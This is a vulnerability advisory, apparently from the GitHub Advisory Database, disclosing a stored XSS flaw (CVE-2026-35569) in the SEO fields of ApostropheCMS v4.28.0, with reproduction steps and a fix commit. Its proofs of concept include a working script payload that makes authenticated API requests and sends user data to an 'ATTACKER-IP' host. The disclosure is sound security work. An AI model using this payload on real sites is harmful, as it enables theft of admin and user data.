Stored XSS in SEO Fields Leads to Authenticated API Data Exposure in ApostropheCMS

## Summary A stored cross-site scripting (XSS) vulnerability exists in SEO-related fields (SEO Title and Meta Description) in ApostropheCMS. Improper neutralization of user-controlled input in SEO-related fields allows injection of arbitrary JavaScript into HTML contexts, resulting in stored cross-site scripting (XSS). This can be leveraged to perform authenticated API requests and exfiltrate sensitive data, resulting in a compromise of application confidentiality. ## Affected Version ApostropheCMS (tested on version: v4.28.0) ## Vulnerability Details User-controlled input in SEO fields is improperly handled and rendered into HTML contexts such as: - `<title>` - `<meta>` attributes - structured data (JSON-LD) This allows attackers to inject and execute arbitrary JavaScript in the context of authenticated users. ## PoC 1 **The following payload demonstrates breaking out of HTML context:** ```javascript "></title><script>alert(1)</script> ``` This confirms: - Improper output encoding - Ability to escape `<title> / <meta>` contexts - Arbitrary script execution ## PoC 2 **This PoC demonstrates how the stored XSS can be leveraged to perform authenticated API requests and exfiltrate sensitive data.** ```javascript "></title><script> fetch('/api/v1/@apostrophecms/user', { credentials:'include' }) .then(r=>r.text()) .then(d=>{ fetch('http://ATTACKER-IP:5656/?data='+btoa(d)) }) </script> ``` ## Video Proof of Concept Watch the following YouTube video for a full demonstration of the exploit: **PoC Video:** https://youtu.be/FZuulua_pa8 ## Steps to Reproduce 1. Start a local listener: `python3 -m http.server 5656` 2. Login to ApostropheCMS as an authenticated user 3. Create or edit a page 4. Navigate to SEO settings 5. Insert the payload into the SEO Title field and Meta Description ```javascript "></title><script> fetch('/api/v1/@apostrophecms/user',{ credentials:'include' }) .then(r=>r.text()) .then(d=>{ fetch('http://ATTACKER-IP:5656/?data='+btoa(d)) }) </script> ``` 6. Set **Schema Type** to "Web page" 7. Save and publish the page 8. Have an administrator visit the page ## Result - The payload executes in the admin’s browser - The script sends a request to: `/api/v1/@apostrophecms/user` - The response contains sensitive user data: - usernames - email addresses - roles (including admin) - The data is exfiltrated to the attacker-controlled server: - `http://ATTACKER-IP:5656` ## Evidence - The attacker server receives: - `GET /?data=BASE64_ENCODED_RESPONSE` - Decoding the response reveals sensitive application data. ## Security Impact This vulnerability allows an attacker to: - Execute arbitrary JavaScript in an authenticated admin context - Perform authenticated API requests (session riding) - Access sensitive application data via internal APIs - Exfiltrate sensitive data to an external attacker-controlled server ## References - Fix commit: https://github.com/apostrophecms/apostrophe/commit/0e57dd07a56ae1ba1e3af646ba026db4d0ab5bb3 - https://www.cve.org/CVERecord?id=CVE-2026-35569 - https://nvd.nist.gov/vuln/detail/CVE-2026-35569 - https://github.com/Chittu13/cve-research/tree/main/CVE-2026-35569

Source published

16 Apr 2026 20:44:18 UTC

Source modified

5 May 2026 16:04:04 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

Publisher rating · HIGH